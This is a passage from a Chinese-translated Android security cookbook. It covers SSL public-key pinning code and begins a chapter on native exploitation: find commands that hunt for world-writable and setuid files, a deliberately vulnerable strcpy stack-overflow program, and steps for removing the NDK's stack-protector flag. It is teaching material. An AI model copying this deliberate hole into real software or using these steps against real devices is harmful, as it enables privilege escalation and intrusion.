公钥固定遵循同样的理念,但实现起来稍微复杂一些。除了在应用中捆绑证书外,还需要从 SSL 证书中提取公钥的额外步骤。然而,额外的努力是值得的,因为公钥在证书续期之间保持一致。这意味着当 SSL 证书续期后,无需强制用户升级应用。
在这个食谱中,我们将使用Android.com作为示例,针对几个证书公钥进行固定。该食谱由两个不同的部分组成;第一部分是一个独立的 Java 工具,用于处理并获取链中所有 SSL 证书的公钥,并将它们转换为 SHA1 哈希以嵌入/固定在你的应用中。我们嵌入公钥的 SHA1 哈希,因为这更安全。
第二部分涉及应用代码以及如何在运行时验证固定公钥,并决定是否信任特定的 SSL 连接。
如何操作…
让我们开始吧!
我们将创建一个名为CalcPins.java的独立 Java 文件,在命令行上运行它以连接并打印证书公钥的 SHA1 哈希。由于我们处理的是由 CA 签名的证书,链中将有二个或更多证书。这个第一步主要是初始化和获取传递给fetchAndPrintPinHashs方法的参数:
public class CalcPins {
private MessageDigest digest;
public CalcPins() throws Exception {
digest = MessageDigest.getInstance(\”SHA1\”);
}
public static void main(String[] args) {
if ((args.length == 1) || (args.length == 2)) {
String[] hostAndPort = args[0].split(\”:\”);
String host = hostAndPort[0];
// if port blank assume 443
int port = (hostAndPort.length == 1) ? 443 : Integer
.parseInt(hostAndPort[1]);
try {
CalcPins calc = new CalcPins();
calc.fetchAndPrintPinHashs(host, port);
} catch (Exception e) {
e.printStackTrace();
}
} else {
System.out.println(\”Usage: java CalcPins <host>[:port]\”);
return;
}
}
接下来,我们定义PublicKeyExtractingTrustManager类,它实际上负责提取公钥。当套接字连接时,将调用checkServerTrusted方法,并带上完整的X509Certificates链,这在后面的步骤中会展示。我们取得链(X509Certificate[]数组),并调用cert.getPublicKey().getEncoded();来获取每个公钥的字节数组。然后我们使用MessageDigest类来计算密钥的 SHA1 哈希。由于这是一个简单的控制台应用,我们将 SHA1 哈希输出到System.out:
public class PublicKeyExtractingTrustManager implements X509TrustManager {
public X509Certificate[] getAcceptedIssuers() {
throw new UnsupportedOperationException();
}
public void checkClientTrusted(X509Certificate[] chain, String authType)
throws CertificateException {
throw new UnsupportedOperationException();
}
public void checkServerTrusted(X509Certificate[] chain, String authType)
throws CertificateException {
for (X509Certificate cert : chain) {
byte[] pubKey = cert.getPublicKey().getEncoded();
final byte[] hash = digest.digest(pubKey);
System.out.println(bytesToHex(hash));
}
}
}
然后,我们按照以下方式编写bytesToHex()工具方法:
public static String bytesToHex(byte[] bytes) {
final char[] hexArray = { \’0\’, \’1\’, \’2\’, \’3\’, \’4\’, \’5\’, \’6\’, \’7\’, \’8\’,\’9\’, \’A\’, \’B\’, \’C\’, \’D\’, \’E\’, \’F\’ };
char[] hexChars = new char[bytes.length * 2];
int v;
for (int j = 0; j < bytes.length; j++) {
v = bytes[j] & 0xFF;
hexChars[j * 2] = hexArray[v >>> 4];
hexChars[j * 2 + 1] = hexArray[v & 0x0F];
}
return new String(hexChars);
}
我们使用一个工具方法将字节数组转换成大写十六进制字符串,在输出到System.out之前,这样它们就可以嵌入到我们的 Android 应用中。
最后,我们使用从main方法传递过来的主机和端口来打开到主机的SSLSocket连接:
private void fetchAndPrintPinHashs(String host, int port) throws Exception {
SSLContext context = SSLContext.getInstance(\”TLS\”);
PublicKeyExtractingTrustManager tm = new PublicKeyExtractingTrustManager();
context.init(null, new TrustManager[] { tm }, null);
SSLSocketFactory factory = context.getSocketFactory();
SSLSocket socket = (SSLSocket) factory.createSocket(host, port);
socket.setSoTimeout(10000);
socket.startHandshake();
socket.close();
}
我们使用自定义的 PublicKeyExtractingTrustManager 类初始化 SSLContext 对象,该类依次将每个证书的公钥哈希打印到控制台,以便在 Android 应用中嵌入。
从终端窗口,使用 javac 编译 CalcPins.java 并使用 java 带有 hostname:port 作为命令行参数运行命令。示例使用 Android.com 作为示例主机:
$ javac CalcPins.java
$ java -cp . CalcPins Android.com:443
然而,你可能发现直接在 IDE 中创建 CalcPins.java 作为简单的 Java 项目,然后将其导出为可运行的 .jar 文件会更容易。
可运行的 .jar 文件的示例终端命令如下:
$ java -jar calcpins.jar android.com:443
如果公钥提取成功,你将看到哈希的输出。这个示例输出展示了 Android.com 主机的三个 SSL 证书公钥的 pins:
B3A3B5195E7C0D39B8FA68D41A64780F79FD4EE9
43DAD630EE53F8A980CA6EFD85F46AA37990E0EA
C07A98688D89FBAB05640C117DAA7D65B8CACC4E
现在,我们继续这个方法的第二部分,在 Android 应用项目中验证 SSL 连接。
现在我们有了 pins,我们从终端复制它们到一个 String 数组中:
private static String[] pins = new String[] {
\”B3A3B5195E7C0D39B8FA68D41A64780F79FD4EE9\”,
\”43DAD630EE53F8A980CA6EFD85F46AA37990E0EA\”,
\”C07A98688D89FBAB05640C117DAA7D65B8CACC4E\” };
实现一个自定义的 TrustManager 类来验证 pins:
public class PubKeyPinningTrustManager implements X509TrustManager {
private final String[] mPins;
private final MessageDigest mDigest;
public PubKeyPinningTrustManager(String[] pins)
throws GeneralSecurityException {
this.mPins = pins;
mDigest = MessageDigest.getInstance(\”SHA1\”);
}
@Override
public void checkServerTrusted(X509Certificate[] chain, String authType)
throws CertificateException {
// validate all the pins
for (X509Certificate cert : chain) {
final boolean expected = validateCertificatePin(cert);
if (!expected) {
throw new CertificateException(\”could not find a validpin\”);
}
}
}
@Override
public void checkClientTrusted(X509Certificate[] chain, String authType)
throws CertificateException {
// we are validated the server and so this is not implemented.
throw new CertificateException(\”Cilent valdation not implemented\”);
}
@Override
public X509Certificate[] getAcceptedIssuers() {
return null;
}
PubKeyPinningTrustManager 构造函数内部使用 pins 数组进行验证。同时创建一个 MessageDigest 实例来生成传入 SSL 证书公钥的 SHA1 哈希。注意,对于这个示例,我们没有实现 checkClientTrusted() 或 getAcceptedIssuers() 方法;请参阅 增强功能 部分。
验证证书:
private boolean validateCertificatePin(X509Certificate certificate)
throws CertificateException {
final byte[] pubKeyInfo = certificate.getPublicKey().getEncoded();
final byte[] pin = mDigest.digest(pubKeyInfo);
final String pinAsHex = bytesToHex(pin);
for (String validPin : mPins) {
if (validPin.equalsIgnoreCase(pinAsHex)) {
return true;
}
}
return false;
}
我们提取公钥并计算 SHA1 哈希,然后使用前面提到的 bytesToHex() 方法将其转换为十六进制字符串。验证过程简化为一个简单的 String.isEquals 操作(实际上,我们使用 equalsIgnoreCase 以防大小写不匹配)。如果证书中的 pin 与嵌入的 pin 不匹配,将抛出 CertificateException 并且不会建立连接。
我们可以像本章前面讨论的 LocalTrustStoreTrustManager 类一样集成 PubKeyPinningTrustManager。以下是它与 HttpsURLConnection 一起使用的示例:
TrustManager[] trustManagers = new TrustManager[] { new PubKeyPinningTrustManager(pins) };
SSLContext sslContext = SSLContext.getInstance(\”TLS\”);
sslContext.init(null, trustManagers, null);
HttpsURLConnection urlConnection = (HttpsURLConnection)url.openConnection();
urlConnection.setSSLSocketFactory(sslContext.getSocketFactory());
urlConnection.connect();
总之,我们提取了证书公钥并生成了 SHA1 哈希值,以便嵌入到我们的应用程序中。在运行时使用这些值来验证 SSL 连接的 SSL 证书的公钥。这不仅保护了其他 CA 被破坏的风险,同时也使 MITM 攻击者更难以行动。好处在于我们采用的是严格的行业标准 SSL 基础设施。
还有更多…
了解这个方法的改进之处和限制是非常重要的。
增强功能
为了最大程度的安全,每次您建立服务器连接时,都应该验证 SSL 固定。然而,这会与每个连接的性能产生权衡;因此,您可以将之前的代码调整为每个会话检查最初几次连接。尽管这显然会降低安全性。同时,包括 Android 的默认信任管理器验证将进一步增加安全性。
validateCertificatePin方法非常适合 DexGuard 的 API 隐藏,如第五章 保护应用程序中所述。
限制
尽管 SSL 固定使得 MITM 攻击者更加难以攻击,但这并不是一个 100%的解决方案(没有哪种安全解决方案是 100%的)。iSECPartners 提供了一个有趣的库,旨在绕过固定技术(iSECPartners/android-ssl-bypass)。
然而,如第五章所述的防篡改方法可以用来减轻.apk修改和运行在模拟器上的能力。
另请参阅
了解更多关于 MITM 攻击的信息,请访问MITM 攻击。
OpenSSL 命令行 HowTo 指南可在以下链接找到。
证书和公钥固定指南可在以下链接找到。
AndroidPinning 项目,一个由Moxie Marlinspike创建的开源固定库,也可提供这些增强功能。
谷歌浏览器使用固定技术,这在其博客中有解释。
第八章:本地利用与分析
在本章中,我们将涵盖以下内容:
检查文件权限
跨编译本地可执行文件
竞争条件漏洞的利用
栈内存破坏利用
自动化本地 Android 模糊测试
引言
到目前为止,我们已经涵盖了 Android 平台上应用程序的大多数高级方面;本章关注一些本地方面——支持应用层组件的所有内容。本地方面包括系统守护进程、为系统架构编译的二进制可执行文件,以及文件系统和设备级配置的组件。Android 系统的这些方面任何一方面可能导致安全漏洞并使 Android 设备——尤其是智能手机——上的权限提升,因此在 Android 系统的完整安全审查中不能被忽视。
本章节还涵盖了如何捡起一些基本的内存破坏利用缺陷。然而,请注意,本章并不包括所有已知的内存利用风格和技术。但所涵盖的内容足以使你能够自学大部分其他技术。对于想要深入兔子洞的人来说,这一章还包括了关于其他技术的好文章和信息来源。
为什么要研究本地利用技术?嗯,你还有什么其他方法可以获取手机的根权限呢?根利用通常是通过滥用 Android 设备中的本地漏洞来工作的,这些漏洞允许权限提升到足以允许对 Android 设备上的根(或超级用户)账户持久访问。自然地,这些漏洞可能表现为对 Android 设备无拘束定制的门户,但它们也为恶意软件和远程攻击者打开了大门;不难看出,允许某人获取你手机上超级用户权限的漏洞是个坏主意!因此,任何称职的移动安全审计师都应该能够识别可能导致此类利用的任何潜在漏洞。
检查文件权限
在本地环境中提升权限的最常见利用方式之一是滥用操作系统中文件系统权限设置的方式——或者说访问权限——的不一致和不完善。有无数的漏洞和权限提升攻击方法滥用文件权限的实例,无论是全局可执行易受攻击的二进制文件上的setuid标志,如su或symlink,还是对由超级用户拥有的应用程序可全局读取和写入的文件的竞争条件攻击;例如,pulse audio CVE-2009-1894。
能够清楚地识别文件系统呈现的任何潜在入口点是定义 Android 原生攻击面的良好起点。本节中的演练详细介绍了几种方法,你可以使用这些方法通过 ADB shell 与设备交互时找到可能启用利用的危险或潜在文件。
鉴于以下教程主要详细介绍了寻找权限不足或权限不一致的文件的方法,为了理解为什么执行某些命令,你需要掌握的一个基本技能是了解基于 Linux 或 Unix 的操作系统如何定义文件权限。顺便一提:在某些 Linux 圈子中,将文件和目录权限称为访问权限是很常见的;在这里,这些术语将互换使用。
基于 Linux 或 Unix 的操作系统定义文件权限时涉及以下内容:
文件的潜在用户(简称o),这些用户不属于其他用户类别。
文件的所有者(简称u)
对文件所有者所属用户组的访问控制(简称g)
以这种方式对用户进行分类允许互斥性,使用户能够精细调整谁可以访问文件。这意味着可以根据文件和每个可能用户来指定访问权限。
对于每组用户(组、其他用户和所有者),定义了五个访问控制属性,分别为:
文件的读取能力(r);决定哪些用户可以实际读取文件内容。
文件的写入能力(w);控制谁被允许增加或修改文件内容。
文件的执行能力(x);决定给定用户组是否被允许执行文件的指令。
设置组 ID 的能力(s);如果文件可执行,这定义了根据其组权限如何增加用户的权限。此权限可能允许低权限用户提升其权限以执行某些任务;例如,替换一个将任何用户的权限提升到 root 或它所希望的用户权限的用户——当然是在认证成功的情况下!
设置用户 ID 的能力(s);这决定了文件所有者的用户 ID 以及随之而来的所有访问权限是否可以传递给执行进程。
每个这些属性都可以用助记符(使用缩写)或以八进制格式编码的逐位的字面值来定义。对于初学者来说,这可能是一个令人困惑的描述,这就是为什么本节包含了一个小表格,定义了二进制和八进制(基数为 8 的数字)的值。
为什么是基数为 8?因为二进制中的基数为 8 允许三个位的空间,每个位描述每个属性的布尔值;1表示开启(或真)和0表示关闭(或假):
描述二进制值十进制值读取1004写入0102执行0011
这些是通过添加二进制值来组合的。下面是一个描述该组合的表格:
描述读取写入执行————读取1004110写入0102执行0011
这些权限是为每一组用户明确指定的;这意味着每个用户都有一个权限位,由于有三个用户组,分别是文件所有者、组和其他用户——通常被称为“世界”。权限位还包括一个额外的位来定义setuid、setguid以及粘性位。
粘性位是一种访问权限,它允许只有文件或目录的所有者才能删除或重命名文件或目录。当指定时,它会在ls命令显示的访问权限位中作为一个T符号出现。
结构如下所示:
所有者组其他rwx
关于文件访问权限的基础知识就这么多;如果你仔细阅读了前面的段落,你应该有足够的知识来发现 Android 本地访问权限的最基本缺陷。
为了正确理解供应商在设备构建中添加的差异,你需要对“默认”或标准的 Android 文件系统的结构和访问权限设置有所了解。
以下是默认或标准文件系统文件夹及其目的的概要,根据 Linux 文件系统层次结构标准和 Jelly Bean 上的init.rc脚本。下一教程“检查系统配置”中的另请参阅部分提供了其他平台的init.rc脚本的参考资料。
文件夹目的/acctcgroup的挂载点——CPU 资源的会计和监控/cache临时存储正在进行的下载,也用于非重要数据/data包含应用和其他特定于应用程序存储的目录/dev设备节点,如同经典的 Linux 系统,尽管不广泛用于设备和硬件驱动访问/etc到/system/etc/的符号链接,包含配置脚本,其中一些在启动引导过程中启动/mnt临时挂载点,类似于许多其他传统的 Linux 系统/proc包含关于进程的数据结构和信息,如同传统的基于 Linux 或 Unix 的系统/root通常是一个空目录,但类似于许多 Linux/Unix 系统上的 root 用户的主目录/sbin包含用于系统管理任务的重要实用程序的文件夹/sdcard外部 SD 卡的挂载点/syssysfs的挂载点,包含导出的内核数据结构/system在系统构建期间生成的不可变(只读)二进制文件和脚本;在许多 Android 系统中,这也包含系统拥有的应用程序/vendor为设备特定的增强保留的目录,包括二进制文件、应用程序和配置脚本/init在引导过程中,内核加载后执行的init二进制文件/init.rcinit二进制文件的配置脚本/init[device_name].rc设备特定的配置脚本/ueventd.rcuevent守护进程的配置脚本/uevent[device_name].rcuevent守护进程的设备特定配置脚本/default.prop包含系统全局属性的配置文件,包括设备名称/configconfigfs的挂载点/storage从 4.1 设备开始的添加目录;用作外部存储的挂载点/charger一个本地独立应用程序,显示电池充电进度
请记住,设备制造商的版本可能会有所不同;将这些视为最基本的、未修改的文件系统布局和目的。通常,制造商在使用其中一些文件路径时也会犯错误,违背了它们的预期用途,因此要关注这些文件夹的目的和默认访问权限。
本节不会详细介绍文件系统布局;然而,在另请参阅部分有一些关于 Android 和 Linux 文件系统的语义、布局和约定的好资源。
让我们看看如何在 Android 系统上寻找有趣的基于文件或目录的目标。以下演练假设你在被评估的设备上拥有 ADB shell 权限。
准备就绪
为了使用以下示例中提到的命令,你需要能够安装find二进制文件或 Android 的 Busybox;安装说明可以在www.busybox.net/以及本章末尾的设置 Busybox部分找到,该部分位于自动化原生 Android 模糊测试菜谱中。
如何操作…
若要根据文件的访问权限搜索文件,你可以在 ADB shell 中执行以下命令来查找可读文件;首先,对于全世界可读的文件,这个命令可以解决问题:
find [path-to-search] –perm 0444 –exec ls –al {} \\;
请查看以下截图以获取示例输出:
上述截图——以及本节后续的截图——来自一个已获得 root 权限的三星 Galaxy S3。这里,命令行指令包含了一个重定向到/dev/null的操作,以省略因权限拒绝引起的错误输出。
提示
对于非 Linux/Unix 用户的一个小警告
/dev/null 对于输出来说就像一个“黑洞”,允许 Linux/Unix 用户将其作为一个放置不希望看到的输出的地方。作为一个额外的好处,它还会返回一个值,让您知道写入操作是否成功。
接下来,如果您在寻找全局可写文件,可以使用以下参数找到它们:
find [path-to-search] –perm 0222 –exec ls –al {} \\;
查看以下截图以获取示例输出:
对于对所有用户设置了可执行权限的文件:
find [path-to-search] –perm 0111 –exec ls –al {} \\;
您并非必须使用八进制格式;find 命令也理解用户集合和权限的常用简写。
例如,要查找除了所有者组之外所有人可读的文件,您可以这样指定权限:
find [path-to-search] –perm a=r –exec ls –al {} \\;
查看以下截图以获取示例输出:
之前的规格将确保只有完全匹配的文件;这意味着返回的文件必须只具有指定的位。如果您寻找至少设置了指定位以及任何其他位的文件——您可能大多数时间都会这样做——您可以通过在前面示例中包含 – 符号作为前缀来指定权限。对于八进制模式,这将按以下方式工作:
find [path-to-search] –perm -444 –exec ls –al {} \\;
查看以下截图以获取示例输出:
这至少会匹配所有用户集合设置了读位的文件,这意味着将匹配 445、566、777 等权限位。而 344、424、222 等则不会匹配。
您可能感兴趣的几个非常实用的访问权限模式包括查找具有 setuid 的可执行文件:
find [path-to-search] –perm -4111 –exec ls –al {} \\;
查看以下截图以获取示例输出:
在前面的截图中,我们看到使用前面的命令找到了 su 二进制文件。如果您在 Android 设备上找到这个二进制文件,这总是表明设备已经被 root。
您还可以查找对所有用户具有 setguid 和执行权限的文件:
find [path-to-search] –perm -2111 –exec ls –al {} \\;
查看以下截图以获取示例输出:
find 命令还允许您将用户作为搜索条件的一部分;例如:
您可以如下列出属于 root 用户的所有文件:
find [path-to-search] –user 0 –exec ls –al {} \\;
您可以如下列出所有系统用户的文件:
find [path-to-search] –user 1000 –exec ls –al {} \\;
您也可以根据组 ID 设置来列出文件,如下所示:
find [path-to-search] –group 0 –exec ls –al {} \\;
你可能想要了解你的 Android 系统上的每个用户——或者更确切地说,是每个应用——可以访问多少内容,为此你可能想要构建一个用户 ID 的列表——或者更重要的是,应用的 UID。最简单的方法是转储 /data/data 目录中文件的访问权限,因为它包含了大多数安装在 Android 设备上的应用的数据。然而,要从 ADB shell 访问这个列表,你需要有 root 或系统账户的访问权限,或者任何具有等效权限的账户;这在模拟器上很容易获得——它会自动授权。另外,如果你选择这样做,你可以向 XDA 开发者网站发起几个搜索,寻找 root 手机的方法。XDA 开发者网站可以在 www.xda-developers.com/ 找到。
对手机进行 root 操作有好有坏;在这种情况下,它允许你更详细地检查文件系统和访问权限。然而,另一方面,如果 root 权限的访问没有得到妥善管理,它可能会让你的手机面临许多非常严重的攻击!因此要吝啬你的 root 权限,并且只在需要时临时 root 手机。
接下来,如果你列出 /data/data 目录中的所有文件,你应该会看到以下内容;这是从三星 Galaxy S3 中获取的:
你可能注意到了每个应用的命名约定很奇怪,即 u[number]_a[number],这表示的是应用安装的用户配置文件的 u[配置文件编号] ——因为某些 Android 版本支持多个用户配置文件,从 Jelly Bean 及其之后的版本开始——以及 a[number],它是应用程序 ID。
你可以使用应用程序 ID 通过加上这个数字到 10000 来构建应用的实际系统用户 ID(UID);例如,对于用户名为 u0_a170 的 Mozilla 安装,相应的 UID 将是 10170。要找到所有拥有这个 UID 作为所有者的文件,你接下来会执行这个命令:
find /data/data/ -user 10170 –exec ls –al {} \\; 2> /dev/null
以下是样本输出的截图:
你可以通过查看本食谱 另请参阅 部分提到的 Android_filesystem_config.h 文件来找到其他用户名。
还有很多…
可以使 find 命令输出更有用的一个命令是 stat。这个命令显示文件属性,并允许你指定这些详情的显示格式。stat 命令具有众多功能,使得查找权限设置错误的文件比仅仅通过 find –exec 命令调用 ls –al 要更加具有信息量。
你可以将 stat 与 find 一起使用如下:
find . –perm [permission mode] –exec stat –c \”[format]\” {} \\;
例如,如果你想显示以下内容:
%A:以人类可读格式显示的访问权限
%u:文件所有者的用户 ID
%g:文件所有者的组 ID
%f:文件的原始十六进制模式
%N:带有引用的文件名,如果是符号链接则解引用
你可以通过执行以下命令来完成此操作:
find . –perm [permission] –exec stat –c \”%A %u %g %f %N\” {} \\;
此命令生成的输出如下——这里示例使用 -0666 作为示例权限模式:
另请参阅
在 web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-1894 的 CVE-2009-1894 漏洞摘要 文章
在 Android Git 仓库中的 Android_filesystem_config.h 文件,位于 android.googlesource.com/platform/system/core/+/android-4.4.2_r1/include/private/android_filesystem_config.h
Linux 文档项目中的文件系统层次标准,在 www.tldp.org/HOWTO/HighQuality-Apps-HOWTO/fhs.html
文件系统层次结构组在 www.pathname.com/fhs/pub/fhs-2.3.pdf 的文件系统层次标准指南
嵌入式 Android,O’Reilly,2013 年 3 月,作者 Karim Yaghmour
跨编译本地可执行文件
在我们能够在 Android 设备上开始破坏堆栈和劫持指令指针之前,我们需要一种方法来准备一些易受攻击的示例应用程序。为此,我们需要能够编译本地可执行文件,而要做到这一点,我们需要使用 Android 本地开发工具包中的一些优秀应用程序。
如何操作…
要跨编译你自己的本地 Android 组件,你需要执行以下操作:
准备一个目录来开发你的代码。你需要做的就是创建一个你想命名为“模块”名称的目录,例如,你可以像我在这里的示例中一样,将目录命名为 buffer-overflow。创建该目录后,你还需要创建一个名为 jni/ 的子目录。你必须这样命名它,因为 NDK 中的编译脚本会特别寻找这个目录。
一旦你有了这些目录,你就可以创建一个 Android.mk 文件。在你的 jni 目录中创建这个文件。Android.mk 文件基本上是一个 Make 文件,它准备了一些你编译的属性;以下是它应该包含的内容:
LOCAL_PATH := $(call my-dir)
include $(CLEAR_VARS)
# give module name
LOCAL_MODULE := buffer-overflow #name of folder
# list your C files to compile
LOCAL_SRC_FILES := buffer-overflow.c #name of source to compile
# this option will build executables instead of building library for Android application.
include $(BUILD_EXECUTABLE)
一旦你正确设置了所需的 jni 目录结构和 Android.mk,你就可以开始编写一些 C 代码了;以下是一个你可以使用的示例:
#include <stdio.h>
#include <string.h>
void vulnerable(char *src){
char dest[10]; //declare a stack based buffer
strcpy(dest,src);
printf(\”[%s]\\n\”,dest); //print the result
return; }
void call_me_maybe(){
printf(\”so much win!!\\n\”);
return; }
int main(int argc, char **argv){
vulnerable(argv[1]); //call vulnerable function
return (0); }
请确保此文件与 jni 目录中的 Android.mk 文件一起出现。
现在是乐趣的一部分;你现在可以编译你的代码了。你可以通过调用 NDK 构建脚本来完成这个操作,令人惊讶的是,这是通过执行以下命令完成的:
[path-to-ndk]/ndk-build
在这里,[path-to-ndk] 是你的 Android NDK 的路径。
如果一切顺利,你应该看到类似以下的输出:
还有更多…
只编译是不够的;我们需要能够修改正常可执行文件的编译方式,这样我们才能利用并研究某些漏洞。我们将在这里移除的保护措施是一种保护函数栈不被以允许被利用的方式破坏的保护——大多数利用。在移除这保护之前,详细说明这种保护是如何实际工作的,并展示移除保护后的差异将是有用的。做好心理准备——ARMv7 汇编代码即将到来!
我们可以使用随 NDK 捆绑的objdump工具来转储这个可执行文件的反汇编代码;自然你会期望任何普通的 Linux 或 Unix 发行版中捆绑的标准objdump工具都能正常工作,但这些可执行文件是专门为嵌入式 ARM 设备交叉编译的。这意味着字节序可能不同;可执行文件的结构也可能是普通objdump无法理解的。
为了确保我们可以使用正确的objdump工具,Android 团队确保了与 ARM 可执行文件兼容的版本随 NDK 一起打包。你应在 NDK 的/toolchains/arm-linux-androideabi-[version]/prebuilt/linux-x86-64/bin/路径下找到它;尽管你可以使用任何arm-linux-androideabi版本,但坚持使用最新版本总是更简单。
在前述文件夹中的objdump二进制文件将被命名为类似arm-linux-androideabi-objdump的名字。
要使用它,你需要做的就是指向/buffer-overflow/obj/local/armeabi/目录根部的二进制文件,这个文件应该出现在你的jni目录中,并执行以下命令:
[path-to-ndk]/toolchains/arm-linux-Androideabi-[version]/prebuilt/linux-x86_64/bin/arm-linux-Androideabi-objdump –D /[module name]/obj/local/armeabi/[module name] | less
对于我们的示例,命令看起来会像这样:
[path-to-ndk]/toolchains/arm-linux-Androideabi-4.8/prebuilt/linux-x86_64/bin/arm-linux-Androideabi-objdump –D /buffer-overflow/obj/local/armeabi/buffer-overflow | less
这将产生相当多的输出;我们感兴趣的是围绕\”脆弱\”函数编译的函数。我将输出重定向到less,这样我们就可以滚动和搜索文本;接下来你应该在less打开objdump输出时按下/字符,并输入<vulnerable>,然后按回车。
如果你正确完成了这些步骤,你的屏幕应该会显示以下输出:
00008524 <vulnerable>:
8524: b51f push {r0, r1, r2, r3, r4, lr}
8526: 4c0a ldr r4, [pc, #40] ; (8550 <vulnerable+0x2c>)
8528: 1c01 adds r1, r0, #0
852a: 4668 mov r0, sp
852c: 447c add r4, pc
852e: 6824 ldr r4, [r4, #0]
8530: 6823 ldr r3, [r4, #0]
8532: 9303 str r3, [sp, #12]
8534: f7ff ef7e blx 8434 <strcpy@plt>
8538: 4806 ldr r0, [pc, #24] ; (8554 <vulnerable+0x30>)
853a: 4669 mov r1, sp
853c: 4478 add r0, pc
853e: f7ff ef80 blx 8440 <printf@plt>
8542: 9a03 ldr r2, [sp, #12]
8544: 6823 ldr r3, [r4, #0]
8546: 429a cmp r2, r3
8548: d001 beq.n 854e <vulnerable+0x2a>
854a: f7ff ef80 blx 844c <__stack_chk_fail@plt>
854e: bd1f pop {r0, r1, r2, r3, r4, pc}
8550: 00002a7c andeq r2, r0, ip, ror sl
8554: 00001558 andeq r1, r0, r8, asr r5
00008558 <main>:
8558: b508 push {r3, lr}
855a: 6848 ldr r0, [r1, #4]
855c: f7ff ffe2 bl 8524 <vulnerable>
8560: 2000 movs r0, #0
8562: bd08 pop {r3, pc}
提示
只是一个小提示
在上述objdump输出中,最左边的列显示了指令的偏移量;紧随其后的由:字符分隔的列,保存了代码的实际十六进制表示;再往后的列显示了相关汇编指令的人类可读助记符。
注意之前objdump输出中加粗的代码。位于8526偏移的指令加载了从程序计数器(pc)寄存器当前值起0x40地址偏移处内存中的内容;这个地址保存了一个特殊的值,称为栈金丝雀。
提示
这通常被称为金丝雀,因为实际的金丝雀曾被矿工用来确保矿井通道是安全的可供探索。
这个值被放置在堆栈上,介于局部变量和已保存的指令及基指针之间;这样做是为了如果攻击者或错误指令足以破坏堆栈,影响到那里保存的值,那么它也将需要破坏或更改堆栈守护者,这意味着程序能够检查这个值是否发生了变化。这个值来自一个加密安全(据称是)的伪随机数生成器,并在程序运行时存储在内存中,以避免可靠地预测这个值。
接下来,我们看到位于偏移量852c-8530的指令将堆栈守护者放入r3和r4寄存器中。偏移量8532的后续指令确保在危险的strcpy调用(位于偏移量8534)之前将堆栈守护者放置在堆栈上。到目前为止,所有代码完成的工作只是在strcpy调用之后将值放在堆栈上——实际上是靠近printf函数。从偏移量8542到8544,从寄存器r4和堆栈上放置的位置获取堆栈守护者的值,加载到r2和r3寄存器中,然后在偏移量8546进行比较。如果它们不匹配,我们看到位于854a的指令将被执行,这将基本上导致程序中断,而不是正常退出。所以,总结一下,它从文件中的某个偏移量获取堆栈守护者,将其放入寄存器和堆栈上的另一个副本,并在退出前检查是否有任何变化。
你可能会注意到,尽管这防止了已保存的指令指针被破坏,但它根本没有保护局部变量!根据它们在内存中的布局——它们与守护者和堆栈上的其他缓冲区的关系位置——仍然有可能恶意地破坏堆栈上的其他变量。在某些特殊情况下,这仍然可能被滥用,恶意地影响进程的行为。
那么现在我们如何移除这个烦人的保护措施,以便我们可以正确地破坏堆栈并获得控制指令指针的能力呢?由于堆栈守护者是编译器级别的保护措施——这意味着它是可执行编译器强制实施的——我们应该能够修改 NDK 可执行文件的编译方式,使得堆栈保护不被强制执行。
尽管这在 Android 系统上的二进制文件中可能很少是实际情况,但这仍然是非常可能发生的事情。我们移除这个保护是为了模拟基于堆栈的溢出漏洞。
要移除保护,你需要更改 NDK 使用的一些 GCC 编译器扩展。为此,你需要:
导航到/toolchains/arm-linux-Androideabi-4.9/目录,找到一个名为setup.mk的文件。请注意,你的 NDK 可能使用不同版本的arm-linux-androideabi。如果以下步骤不起作用或没有达到预期效果,你应该尝试移除栈保护:
接下来你可能想要备份setup.mk文件。我们即将更改 NDK 的默认编译配置,因此备份总是好的。你可以通过将脚本复制到另一个名称略有不同的文件来创建一个临时的备份。例如,你可以通过执行以下命令备份setup.mk文件:
cp setup.mk setup.mk.bk
备份之后,你应该在你喜欢的文本编辑器中打开setup.mk文件,并移除标志,特别是包含-fstack-protector切换的那一个;查看以下截图以获得更清晰的信息:
移除指定标志后,你的setup.mk文件应该看起来像这样:
完成上述操作后,你可以使用ndk-build脚本编译你的可执行文件的全新副本,然后将其传递给androideabi-objdump。在没有栈保护的情况下,你的代码应该看起来像这样:
000084bc <vulnerable>:
84bc: b51f push {r0, r1, r2, r3, r4, lr}
84be: 1c01 adds r1, r0, #0
84c0: a801 add r0, sp, #4
84c2: f7ff ef8a blx 83d8 <strcpy@plt>
84c6: 4803 ldr r0, [pc, #12] ; (84d4 <vulnerable+0x18>)
84c8: a901 add r1, sp, #4
84ca: 4478 add r0, pc
84cc: f7ff ef8a blx 83e4 <printf@plt>
84d0: b005 add sp, #20
84d2: bd00 pop {pc}
84d4: 0000154a andeq r1, r0, sl, asr #10
000084d8 <main>:
84d8: b508 push {r3, lr}
84da: 6848 ldr r0, [r1, #4]
84dc: f7ff ffee bl 84bc <vulnerable>
84e0: 2000 movs r0, #0
84e2: bd08 pop {r3, pc}
注意到与前一个可执行文件版本中的指令没有任何关联。这是因为我们移除的-fstack-protector编译器标志告诉 GCC 自主寻找可能潜在破坏函数栈的任何函数实例。
另请参阅
ARM 信息中心提供的《ARM and Thumb Instruction Set Quick Reference Card》可以在infocenter.arm.com/help/topic/com.arm.doc.qrc0001l/QRC0001_UAL.pdf找到
《ARM Instruction Set》文档可以在simplemachines.it/doc/arm_inst.pdf找到
密歇根大学电气工程与计算机科学系提供的《ARM v7-M Architecture Reference Manual》可以在web.eecs.umich.edu/~prabal/teaching/eecs373-f10/readings/ARMv7-M_ARM.pdf找到
Emanuele Acri所著的《Exploiting Arm Linux Systems, An Introduction》可以在www.exploit-db.com/wp-content/themes/exploit/docs/16151.pdf找到
可以在infocenter.arm.com/help/topic/com.arm.doc.ihi0042e/IHI0042E_aapcs.pdf找到《ARM Architecture 的 Procedure Standard》文档
《ARM Instruction Set》文档可以在bear.ces.cwru.edu/eecs_382/ARM7-TDMI-manual-pt2.pdf找到
ARM 信息中心提供的ARM 开发者套件 1.2 版汇编指南文档,位于infocenter.arm.com/help/topic/com.arm.doc.dui0068b/DUI0068.pdf
位于github.com/android/platform_bionic/blob/master/libc/upstream-dlmalloc/malloc.c的 Android 平台 Bionic GitHub 页面上的DLMalloc 实现库
位于github.com/android/platform_bionic/blob/master/libc/upstream-dlmalloc/malloc.c#L4715的 Android 平台 Bionic GitHub 页面中 DLMalloc 实现中的ok_magic调用
位于android.googlesource.com/platform/bionic/的 Android 源代码仓库中的Bionic源代码
